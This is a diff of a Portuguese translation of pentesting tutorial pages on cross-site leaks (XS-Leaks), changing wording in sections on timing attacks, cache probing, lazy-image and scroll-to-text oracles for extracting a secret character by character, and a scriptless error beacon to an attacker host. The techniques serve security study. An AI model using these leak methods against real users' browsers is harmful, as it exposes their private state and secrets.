+- **HTMLVideoElement**: Ele expõe `videoHeight` e `videoWidth`. Em alguns navegadores, propriedades adicionais como `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount` e `webkitDecodedFrameCount` estão disponíveis, oferecendo informações mais detalhadas sobre o conteúdo da mídia. [Leia mais sobre HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
 - **getVideoPlaybackQuality()**: Esta função fornece detalhes sobre a qualidade da reprodução de vídeo, incluindo `totalVideoFrames`, que pode indicar a quantidade de dados de vídeo processados. [Leia mais sobre getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
-- **HTMLImageElement**: Este elemento vaza a `altura` e a `largura` de uma imagem. No entanto, se uma imagem for inválida, essas propriedades retornarão 0, e a função `image.decode()` será rejeitada, indicando a falha ao carregar a imagem corretamente. [Leia mais sobre HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
+- **HTMLImageElement**: Este elemento vaza a `height` e `width` de uma imagem. No entanto, se uma imagem for inválida, essas propriedades retornarão 0, e a função `image.decode()` será rejeitada, indicando a falha ao carregar a imagem corretamente. [Leia mais sobre HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
 
 ### Propriedade CSS
 
@@ -725,7 +725,7 @@ Para mais detalhes sobre essas propriedades e métodos, visite suas páginas de
 - `getComputedStyle()`: [Documentação MDN](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
 - `mix-blend-mode`: [Documentação MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
 
-### Vazamento X-Frame do ContentDocument
+### Vazamento de X-Frame do ContentDocument
 
 - **Métodos de Inclusão**: Frames
 - **Diferença Detectável**: Cabeçalhos
@@ -733,14 +733,14 @@ Para mais detalhes sobre essas propriedades e métodos, visite suas páginas de
 - **Resumo:** No Google Chrome, uma página de erro dedicada é exibida quando uma página é bloqueada de ser incorporada em um site de origem cruzada devido a restrições de X-Frame-Options.
 - **Exemplo de Código**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
 
-No Chrome, se uma página com o cabeçalho `X-Frame-Options` definido como "deny" ou "same-origin" for incorporada como um objeto, uma página de erro aparece. O Chrome retorna de forma única um objeto de documento vazio (em vez de `null`) para a propriedade `contentDocument` desse objeto, ao contrário de iframes ou outros navegadores. Os atacantes poderiam explorar isso detectando o documento vazio, potencialmente revelando informações sobre o estado do usuário, especialmente se os desenvolvedores definirem de forma inconsistente o cabeçalho X-Frame-Options, muitas vezes negligenciando páginas de erro. A conscientização e a aplicação consistente de cabeçalhos de segurança são cruciais para prevenir tais vazamentos.
+No Chrome, se uma página com o cabeçalho `X-Frame-Options` definido como "deny" ou "same-origin" é incorporada como um objeto, uma página de erro aparece. O Chrome retorna de forma única um objeto de documento vazio (em vez de `null`) para a propriedade `contentDocument` desse objeto, ao contrário de iframes ou outros navegadores. Os atacantes poderiam explorar isso detectando o documento vazio, potencialmente revelando informações sobre o estado do usuário, especialmente se os desenvolvedores definirem de forma inconsistente o cabeçalho X-Frame-Options, muitas vezes negligenciando páginas de erro. A conscientização e a aplicação consistente de cabeçalhos de segurança são cruciais para prevenir tais vazamentos.
 
 ### Detecção de Download
 
 - **Métodos de Inclusão**: Frames, Pop-ups
 - **Diferença Detectável**: Cabeçalhos
 - **Mais informações**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
-- **Resumo:** Um atacante pode discernir downloads de arquivos aproveitando iframes; a acessibilidade contínua do iframe implica um download de arquivo bem-sucedido.
+- **Resumo:** Um atacante pode discernir downloads de arquivos aproveitando iframes; a acessibilidade contínua do iframe implica download de arquivo bem-sucedido.
 - **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
 
 O cabeçalho `Content-Disposition`, especificamente `Content-Disposition: attachment`, instrui o navegador a baixar o conteúdo em vez de exibi-lo inline. Esse comportamento pode ser explorado para detectar se um usuário tem acesso a uma página que aciona um download de arquivo. Em navegadores baseados em Chromium, existem algumas técnicas para detectar esse comportamento de download:
@@ -762,14 +762,14 @@ Em cenários onde apenas usuários logados podem acionar tais downloads, essas t
 - **Métodos de Inclusão**: Pop-ups
 - **Diferença Detectável**: Tempo
 - **Mais informações**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
-- **Resumo:** Um atacante pode discernir downloads de arquivos aproveitando iframes; a acessibilidade contínua do iframe implica um download de arquivo bem-sucedido.
+- **Resumo:** Um atacante pode discernir downloads de arquivos aproveitando iframes; a acessibilidade contínua do iframe implica download de arquivo bem-sucedido.
 - **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (de [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
 
 > [!WARNING]
 > É por isso que essa técnica é interessante: o Chrome agora tem **particionamento de cache**, e a chave de cache da nova página aberta é: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m=xxx)`, mas se eu abrir uma página ngrok e usar fetch nela, a chave de cache será: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, a **chave de cache é diferente**, então o cache não pode ser compartilhado. Você pode encontrar mais detalhes aqui: [Ganhando segurança e privacidade ao particionar o cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
 > (Comentário de [**aqui**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
 
-Se um site `example.com` incluir um recurso de `*.example.com/resource`, então esse recurso terá a **mesma chave de cache** como se o recurso fosse diretamente **solicitado através de navegação de nível superior**. Isso ocorre porque a chave de cache é composta de _eTLD+1_ de nível superior e _eTLD+1_ de frame.
+Se um site `example.com` inclui um recurso de `*.example.com/resource`, então esse recurso terá a **mesma chave de cache** como se o recurso fosse diretamente **solicitado através de navegação de nível superior**. Isso ocorre porque a chave de cache é composta de _eTLD+1_ de nível superior e _eTLD+1_ de frame.
 
 Como acessar o cache é mais rápido do que carregar um recurso, é possível tentar mudar a localização de uma página e cancelá-la 20ms (por exemplo) depois. Se a origem foi alterada após a parada, isso significa que o recurso foi armazenado em cache.\
 Ou poderia apenas **enviar algum fetch para a página potencialmente armazenada em cache e medir o tempo que leva**.
@@ -779,7 +779,7 @@ Ou poderia apenas **enviar algum fetch para a página potencialmente armazenada
 - **Métodos de Inclusão**: Fetch API
 - **Diferença Detectável**: Redirecionamentos
 - **Mais informações**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234)
-- **Resumo:** É possível descobrir se uma resposta a um pedido fetch é um redirecionamento
+- **Resumo:** É possível descobrir se uma resposta a uma solicitação fetch é um redirecionamento
 - **Exemplo de Código**:
 
 ![](<../images/image (652).png>)
@@ -789,7 +789,7 @@ Ou poderia apenas **enviar algum fetch para a página potencialmente armazenada
 - **Métodos de Inclusão**: Fetch API
 - **Diferença Detectável**: Tempo
 - **Mais informações**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
-- **Resumo:** É possível tentar carregar um recurso e, antes que ele seja carregado, a carga é interrompida. Dependendo se um erro é acionado, o recurso foi ou não armazenado em cache.
+- **Resumo:** É possível tentar carregar um recurso e abortar antes que ele seja carregado. Dependendo se um erro é acionado, o recurso foi ou não armazenado em cache.
 - **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
 
 Use _**fetch**_ e _**setTimeout**_ com um **AbortController** para detectar se o **recurso está armazenado em cache** e para expulsar um recurso específico do cache do navegador. Além disso, o processo ocorre sem armazenar novo conteúdo.
@@ -815,9 +815,9 @@ No cenário dado, o atacante toma a iniciativa de registrar um **service worker*
 Ao chegar a solicitação iniciada na etapa anterior, o **service worker** responde com um código de status **204 (Sem Conteúdo)**, efetivamente encerrando o processo de navegação. Neste ponto, o **service worker** captura uma medição do temporizador iniciado anteriormente na etapa dois. Essa medição é influenciada pela duração do JavaScript que causa atrasos no processo de navegação.
 
 > [!WARNING]
-> Em uma medição de tempo de execução, é possível **eliminar** **fatores de rede** para obter **medições mais precisas**. Por exemplo, carregando os recursos usados pela página antes de carregá-la.
+> Em um tempo de execução, é possível **eliminar** **fatores de rede** para obter **medições mais precisas**. Por exemplo, carregando os recursos usados pela página antes de carregá-la.
 
-### Medição de Fetch
+### Tempo de Fetch
 
 - **Métodos de Inclusão**: Fetch API
 - **Diferença Detectável**: Tempo (geralmente devido ao Conteúdo da Página, Código de Status)
@@ -846,14 +846,14 @@ dangling-markup-html-scriptless-injection/
 ### Carregamento Preguiçoso de Imagem
 
 Se você precisar **exfiltrar conteúdo** e puder **adicionar HTML antes do segredo**, deve verificar as **técnicas comuns de marcação pendente**.\
-No entanto, se por qualquer motivo você **DEVE** fazê-lo **caractere por caractere** (talvez a comunicação seja via um cache hit), você pode usar esse truque.
+No entanto, se por qualquer motivo você **DEVE** fazer isso **caractere por caractere** (talvez a comunicação seja via um cache hit), você pode usar esse truque.
 
 **Imagens** em HTML têm um atributo "**loading**" cujo valor pode ser "**lazy**". Nesse caso, a imagem será carregada quando for visualizada e não enquanto a página está carregando:
 ```html
 <img src=/something loading=lazy >
 ```
 Portanto, o que você pode fazer é **adicionar muitos caracteres lixo** (por exemplo, **milhares de "W"s**) para **preencher a página da web antes do segredo ou adicionar algo como** `<br><canvas height="1850px"></canvas><br>.`\
-Então, se por exemplo nossa **injeção aparecer antes da bandeira**, a **imagem** seria **carregada**, mas se aparecer **depois** da **bandeira**, a bandeira + o lixo **impedirão que seja carregada** (você precisará brincar com a quantidade de lixo a ser colocada). Isso é o que aconteceu em [**este writeup**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
+Então, se por exemplo nossa **injeção aparecer antes da bandeira**, a **imagem** seria **carregada**, mas se aparecer **depois** da **bandeira**, a bandeira + o lixo **impedirão que ela seja carregada** (você precisará brincar com a quantidade de lixo a ser colocada). Isso é o que aconteceu em [**este writeup**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
 
 Outra opção seria usar o **scroll-to-text-fragment** se permitido:
 
@@ -863,9 +863,9 @@ No entanto, você faz o **bot acessar a página** com algo como
 ```
 #:~:text=SECR
 ```
-A página da web será algo como: **`https://victim.com/post.html#:~:text=SECR`**
+Então a página da web será algo como: **`https://victim.com/post.html#:~:text=SECR`**
 
-Onde post.html contém os caracteres lixo do atacante e a imagem de carregamento preguiçoso e, em seguida, o segredo do bot é adicionado.
+Onde post.html contém os caracteres indesejados do atacante e a imagem de carregamento preguiçoso, e então o segredo do bot é adicionado.
 
 O que este texto fará é fazer com que o bot acesse qualquer texto na página que contenha o texto `SECR`. Como esse texto é o segredo e está logo **abaixo da imagem**, a **imagem só será carregada se o segredo adivinhado estiver correto**. Assim, você tem seu oráculo para **exfiltrar o segredo caractere por caractere**.
 
@@ -873,7 +873,7 @@ Algum exemplo de código para explorar isso: [https://gist.github.com/jorgectf/9
 
 ### Carregamento Preguiçoso de Imagem Baseado em Tempo
 
-Se **não for possível carregar uma imagem externa** que possa indicar ao atacante que a imagem foi carregada, outra opção seria tentar **adivinhar o caractere várias vezes e medir isso**. Se a imagem for carregada, todas as requisições levariam mais tempo do que se a imagem não for carregada. Isso foi o que foi usado na [**solução deste relatório**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **resumido aqui:**
+Se **não for possível carregar uma imagem externa** que possa indicar ao atacante que a imagem foi carregada, outra opção seria tentar **adivinhar o caractere várias vezes e medir isso**. Se a imagem for carregada, todas as requisições levariam mais tempo do que se a imagem não for carregada. Isso foi o que foi usado na [**solução deste artigo**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **resumido aqui:**
 
 {{#ref}}
 xs-search/event-loop-blocking-+-lazy-images.md

src/pentesting-web/xs-search/README.md

@@ -39,7 +39,7 @@ Vários aspectos podem ser analisados para diferenciar os estados da Web Vulner
 - **Mensagens de Erro**: Exceções JavaScript ou páginas de erro especiais podem fornecer informações de vazamento, seja diretamente da mensagem de erro ou diferenciando entre sua presença e ausência.
 - **Limites Globais**: Limitações físicas de um navegador, como capacidade de memória ou outros limites impostos pelo navegador, podem sinalizar quando um limite é alcançado, servindo como uma técnica de vazamento.
 - **Estado Global**: Interações detectáveis com os **estados globais** dos navegadores (por exemplo, a interface History) podem ser exploradas. Por exemplo, o **número de entradas** no histórico de um navegador pode oferecer pistas sobre páginas de origem cruzada.
-- **API de Desempenho**: Esta API fornece **detalhes de desempenho da página atual**, incluindo o tempo de rede para o documento e recursos carregados, permitindo inferências sobre recursos solicitados.
+- **API de Desempenho**: Esta API fornece **detalhes de desempenho da página atual**, incluindo o tempo de rede para o documento e recursos carregados, permitindo inferências sobre os recursos solicitados.
 - **Atributos Legíveis**: Alguns atributos HTML são **legíveis de origem cruzada** e podem ser usados como uma técnica de vazamento. Por exemplo, a propriedade `window.frame.length` permite que o JavaScript conte os frames incluídos em uma página da web de origem cruzada.
 
 ## Ferramenta e Artigo XSinator
@@ -73,7 +73,7 @@ Para mais informações: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks
 cookie-bomb-+-onerror-xs-leak.md
 {{#endref}}
 
-O exemplo de código tenta **carregar objetos de scripts do JS**, mas **outras tags** como objetos, folhas de estilo, imagens, áudios também poderiam ser usadas. Além disso, também é possível injetar a **tag diretamente** e declarar os eventos `onload` e `onerror` dentro da tag (em vez de injetá-los do JS).
+O exemplo de código tenta **carregar objetos de scripts de JS**, mas **outras tags** como objetos, folhas de estilo, imagens, áudios também poderiam ser usadas. Além disso, também é possível injetar a **tag diretamente** e declarar os eventos `onload` e `onerror` dentro da tag (em vez de injetá-los a partir do JS).
 
 Há também uma versão sem script deste ataque:
 ```html
@@ -88,7 +88,7 @@ Neste caso, se `example.com/404` não for encontrado, `attacker.com/?error` ser
 - **Métodos de Inclusão**: Elementos HTML
 - **Diferença Detectável**: Tempo (geralmente devido ao Conteúdo da Página, Código de Status)
 - **Mais informações**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
-- **Resumo:** A [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** pode ser usada para medir quanto tempo leva para realizar uma solicitação. No entanto, outros relógios podem ser usados, como a [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) que pode identificar tarefas que estão em execução por mais de 50ms.
+- **Resumo:** A [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** pode ser usada para medir quanto tempo leva para realizar uma solicitação. No entanto, outros relógios podem ser usados, como a [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) que pode identificar tarefas que duram mais de 50ms.
 - **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) outro exemplo em:
 
 {{#ref}}
@@ -97,7 +97,7 @@ performance.now-example.md
 
 #### Onload Timing + Tarefa Pesada Forçada
 
-Esta técnica é semelhante à anterior, mas o **atacante** também **forçará** alguma ação para levar um **tempo relevante** quando a **resposta for positiva ou negativa** e medir esse tempo.
+Esta técnica é semelhante à anterior, mas o **atacante** também **forçará** alguma ação para levar um **tempo relevante** quando a **resposta for positiva ou negativa** e medirá esse tempo.
 
 {{#ref}}
 performance.now-+-force-heavy-task.md
@@ -108,7 +108,7 @@ performance.now-+-force-heavy-task.md
 - **Métodos de Inclusão**: Frames
 - **Diferença Detectável**: Tempo (geralmente devido ao Conteúdo da Página, Código de Status)
 - **Mais informações**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
-- **Resumo:** O relógio [SharedArrayBuffer](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) pode ser usado para medir quanto tempo leva para realizar uma solicitação. Outros relógios podem ser usados.
+- **Resumo:** O [relógio SharedArrayBuffer](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) pode ser usado para medir quanto tempo leva para realizar uma solicitação. Outros relógios podem ser usados.
 - **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
 
 O tempo necessário para buscar um recurso pode ser medido utilizando os eventos [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) e [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event). O evento **`beforeunload`** é disparado quando o navegador está prestes a navegar para uma nova página, enquanto o evento **`unload`** ocorre quando a navegação está realmente acontecendo. A diferença de tempo entre esses dois eventos pode ser calculada para determinar a **duração que o navegador passou buscando o recurso**.
@@ -121,7 +121,7 @@ O tempo necessário para buscar um recurso pode ser medido utilizando os eventos
 - **Resumo:** A [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API pode ser usada para medir quanto tempo leva para realizar uma solicitação. Outros relógios podem ser usados.
 - **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
 
-Foi observado que na ausência de [Proteções de Framing](https://xsleaks.dev/docs/defenses/opt-in/xfo/), o tempo necessário para uma página e seus subrecursos serem carregados pela rede pode ser medido por um atacante. Essa medição é tipicamente possível porque o manipulador `onload` de um iframe é acionado apenas após a conclusão do carregamento de recursos e da execução de JavaScript. Para contornar a variabilidade introduzida pela execução de scripts, um atacante pode empregar o atributo [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) dentro do `<iframe>`. A inclusão deste atributo restringe várias funcionalidades, notavelmente a execução de JavaScript, facilitando uma medição que é predominantemente influenciada pelo desempenho da rede.
+Foi observado que na ausência de [Proteções de Framing](https://xsleaks.dev/docs/defenses/opt-in/xfo/), o tempo necessário para uma página e seus subrecursos serem carregados pela rede pode ser medido por um atacante. Essa medição é tipicamente possível porque o manipulador `onload` de um iframe é acionado apenas após a conclusão do carregamento de recursos e da execução de JavaScript. Para contornar a variabilidade introduzida pela execução de scripts, um atacante pode empregar o atributo [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) dentro do `<iframe>`. A inclusão deste atributo restringe várias funcionalidades, notavelmente a execução de JavaScript, facilitando assim uma medição que é predominantemente influenciada pelo desempenho da rede.
 ```javascript
 // Example of an iframe with the sandbox attribute
 <iframe src="example.html" sandbox></iframe>
@@ -131,12 +131,12 @@ Foi observado que na ausência de [Proteções de Framing](https://xsleaks.dev/d
 - **Inclusion Methods**: Frames
 - **Detectable Difference**: Page Content
 - **More info**:
-- **Summary**: Se você conseguir fazer a página gerar um erro quando o conteúdo correto for acessado e carregá-la corretamente quando qualquer conteúdo for acessado, então você pode criar um loop para extrair todas as informações sem medir o tempo.
+- **Summary**: Se você conseguir fazer a página gerar um erro quando o conteúdo correto for acessado e fazê-la carregar corretamente quando qualquer conteúdo for acessado, então você pode criar um loop para extrair todas as informações sem medir o tempo.
 - **Code Example**:
 
 Suponha que você possa **inserir** a **página** que contém o **conteúdo secreto** **dentro de um Iframe**.
 
-Você pode **fazer a vítima procurar** o arquivo que contém "_**flag**_" usando um **Iframe** (exploiting um CSRF, por exemplo). Dentro do Iframe, você sabe que o _**evento onload**_ será **executado sempre pelo menos uma vez**. Então, você pode **mudar** a **URL** do **iframe** mudando apenas o **conteúdo** do **hash** dentro da URL.
+Você pode **fazer a vítima procurar** pelo arquivo que contém "_**flag**_" usando um **Iframe** (exploiting um CSRF, por exemplo). Dentro do Iframe, você sabe que o _**evento onload**_ será **executado sempre pelo menos uma vez**. Então, você pode **mudar** a **URL** do **iframe**, mas mudando apenas o **conteúdo** do **hash** dentro da URL.
 
 Por exemplo:
 
@@ -164,7 +164,7 @@ javascript-execution-xs-leak.md
 - **Inclusion Methods**: HTML Elements
 - **Detectable Difference**: Status Code & Headers
 - **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
-- **Summary**: **Cross-Origin Read Blocking (CORB)** é uma medida de segurança que impede que páginas da web carreguem certos recursos sensíveis de origem cruzada para proteger contra ataques como **Spectre**. No entanto, atacantes podem explorar seu comportamento protetor. Quando uma resposta sujeita ao **CORB** retorna um `Content-Type` _**protegido pelo CORB**_ com `nosniff` e um código de status `2xx`, **CORB** remove o corpo e os cabeçalhos da resposta. Atacantes que observam isso podem inferir a combinação do **código de status** (indicando sucesso ou erro) e o `Content-Type` (denotando se está protegido pelo **CORB**), levando a possíveis vazamentos de informações.
+- **Summary**: **Cross-Origin Read Blocking (CORB)** é uma medida de segurança que impede que páginas da web carreguem certos recursos sensíveis de origem cruzada para proteger contra ataques como **Spectre**. No entanto, os atacantes podem explorar seu comportamento protetor. Quando uma resposta sujeita ao **CORB** retorna um `Content-Type` _**protegido pelo CORB**_ com `nosniff` e um código de status `2xx`, **CORB** remove o corpo e os cabeçalhos da resposta. Os atacantes que observam isso podem inferir a combinação do **código de status** (indicando sucesso ou erro) e o `Content-Type` (denotando se está protegido pelo **CORB**), levando a uma possível vazamento de informações.
 - **Code Example:**
 
 Verifique o link de mais informações para mais informações sobre o ataque.
@@ -177,7 +177,7 @@ Verifique o link de mais informações para mais informações sobre o ataque.
 - **Summary**: Vazar dados sensíveis do atributo id ou name.
 - **Code Example**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
 
-É possível **carregar uma página** dentro de um **iframe** e usar o **`#id_value`** para fazer a página **focar no elemento** do iframe indicado, então se um sinal **`onblur`** for acionado, o elemento ID existe.\
+É possível **carregar uma página** dentro de um **iframe** e usar o **`#id_value`** para fazer a página **focar no elemento** do iframe indicado, então, se um sinal **`onblur`** for acionado, o elemento ID existe.\
 Você pode realizar o mesmo ataque com tags **`portal`**.
 
 ### postMessage Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
@@ -186,9 +186,9 @@ Você pode realizar o mesmo ataque com tags **`portal`**.
 - **Detectable Difference**: API Usage
 - **More info**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
 - **Summary**: Coletar informações sensíveis de um postMessage ou usar a presença de postMessages como um oráculo para saber o status do usuário na página
-- **Code Example**: `Qualquer código ouvindo todos os postMessages.`
+- **Code Example**: `Any code listening for all postMessages.`
 
-Aplicações frequentemente utilizam [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) para se comunicar entre diferentes origens. No entanto, esse método pode inadvertidamente expor **informações sensíveis** se o parâmetro `targetOrigin` não for especificado corretamente, permitindo que qualquer janela receba as mensagens. Além disso, o simples ato de receber uma mensagem pode atuar como um **oráculo**; por exemplo, certas mensagens podem ser enviadas apenas para usuários que estão logados. Portanto, a presença ou ausência dessas mensagens pode revelar informações sobre o estado ou identidade do usuário, como se ele está autenticado ou não.
+Aplicações frequentemente utilizam [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) para se comunicar entre diferentes origens. No entanto, esse método pode inadvertidamente expor **informações sensíveis** se o parâmetro `targetOrigin` não for especificado corretamente, permitindo que qualquer janela receba as mensagens. Além disso, o mero ato de receber uma mensagem pode atuar como um **oráculo**; por exemplo, certas mensagens podem ser enviadas apenas para usuários que estão logados. Portanto, a presença ou ausência dessas mensagens pode revelar informações sobre o estado ou identidade do usuário, como se ele está autenticado ou não.
 
 ## Global Limits Techniques
 
@@ -197,12 +197,12 @@ Aplicações frequentemente utilizam [`postMessage` broadcasts](https://develope
 - **Inclusion Methods**: Frames, Pop-ups
 - **Detectable Difference**: API Usage
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
-- **Summary**: Esgotar o limite de conexão do WebSocket vaza o número de conexões WebSocket de uma página de origem cruzada.
+- **Summary**: Exaurir o limite de conexão WebSocket vaza o número de conexões WebSocket de uma página de origem cruzada.
 - **Code Example**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)>), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)>)
 
-É possível identificar se, e quantas, **conexões WebSocket uma página alvo usa**. Isso permite que um atacante detecte estados de aplicação e vaze informações ligadas ao número de conexões WebSocket.
+É possível identificar se, e quantas, **conexões WebSocket uma página alvo utiliza**. Isso permite que um atacante detecte estados de aplicação e vaze informações ligadas ao número de conexões WebSocket.
 
-Se uma **origem** usar a **quantidade máxima de objetos de conexão WebSocket**, independentemente do estado de suas conexões, a criação de **novos objetos resultará em exceções JavaScript**. Para executar esse ataque, o site atacante abre o site alvo em um pop-up ou iframe e então, após o site alvo ter sido carregado, tenta criar o maior número possível de conexões WebSocket. O **número de exceções lançadas** é o **número de conexões WebSocket usadas pela janela do site alvo**.
+Se uma **origem** usar a **quantidade máxima de objetos de conexão WebSocket**, independentemente do estado de suas conexões, a criação de **novos objetos resultará em exceções JavaScript**. Para executar esse ataque, o site atacante abre o site alvo em um pop-up ou iframe e então, após o site alvo ter sido carregado, tenta criar o máximo de conexões WebSocket possível. O **número de exceções lançadas** é o **número de conexões WebSocket usadas pela janela do site alvo**.
 
 ### Payment API
 
@@ -214,7 +214,7 @@ Se uma **origem** usar a **quantidade máxima de objetos de conexão WebSocket**
 
 Esse XS-Leak permite que um atacante **detecte quando uma página de origem cruzada inicia um pedido de pagamento**.
 
-Porque **apenas um pedido de pagamento pode estar ativo** ao mesmo tempo, se o site alvo estiver usando a API de Pedido de Pagamento, quaisquer novas tentativas de usar essa API falharão e causarão uma **exceção JavaScript**. O atacante pode explorar isso **tentando periodicamente mostrar a interface da API de Pagamento**. Se uma tentativa causar uma exceção, o site alvo está atualmente usando-a. O atacante pode ocultar essas tentativas periódicas fechando imediatamente a interface após a criação.
+Porque **apenas um pedido de pagamento pode estar ativo** ao mesmo tempo, se o site alvo estiver usando a API de Pedido de Pagamento, quaisquer novas tentativas de usar essa API falharão e causarão uma **exceção JavaScript**. O atacante pode explorar isso **tentando periodicamente mostrar a interface do usuário da API de Pagamento**. Se uma tentativa causar uma exceção, o site alvo está atualmente usando-a. O atacante pode ocultar essas tentativas periódicas fechando imediatamente a interface após a criação.
 
 ### Timing the Event Loop <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
 
@@ -228,7 +228,7 @@ Porque **apenas um pedido de pagamento pode estar ativo** ao mesmo tempo, se o s
 event-loop-blocking-+-lazy-images.md
 {{#endref}}
 
-JavaScript opera em um [loop de eventos de thread única](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop), significando que **só pode executar uma tarefa por vez**. Essa característica pode ser explorada para medir **quanto tempo o código de uma origem diferente leva para executar**. Um atacante pode medir o tempo de execução de seu próprio código no loop de eventos enviando continuamente eventos com propriedades fixas. Esses eventos serão processados quando o pool de eventos estiver vazio. Se outras origens também estiverem enviando eventos para o mesmo pool, um **atacante pode inferir o tempo que leva para esses eventos externos serem executados observando atrasos na execução de suas próprias tarefas**. Esse método de monitoramento do loop de eventos para atrasos pode revelar o tempo de execução do código de diferentes origens, potencialmente expondo informações sensíveis.
+JavaScript opera em um [loop de eventos de thread única](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop), significando que **só pode executar uma tarefa por vez**. Essa característica pode ser explorada para avaliar **quanto tempo o código de uma origem diferente leva para executar**. Um atacante pode medir o tempo de execução de seu próprio código no loop de eventos ao despachar continuamente eventos com propriedades fixas. Esses eventos serão processados quando o pool de eventos estiver vazio. Se outras origens também estiverem despachando eventos para o mesmo pool, um **atacante pode inferir o tempo que leva para esses eventos externos serem executados observando atrasos na execução de suas próprias tarefas**. Esse método de monitoramento do loop de eventos para atrasos pode revelar o tempo de execução do código de diferentes origens, potencialmente expondo informações sensíveis.
 
 > [!WARNING]
 > Em um tempo de execução, é possível **eliminar** **fatores de rede** para obter **medições mais precisas**. Por exemplo, carregando os recursos usados pela página antes de carregá-la.
@@ -238,7 +238,7 @@ JavaScript opera em um [loop de eventos de thread única](https://developer.mozi
 - **Inclusion Methods**:
 - **Detectable Difference**: Timing (geralmente devido ao Conteúdo da Página, Código de Status)
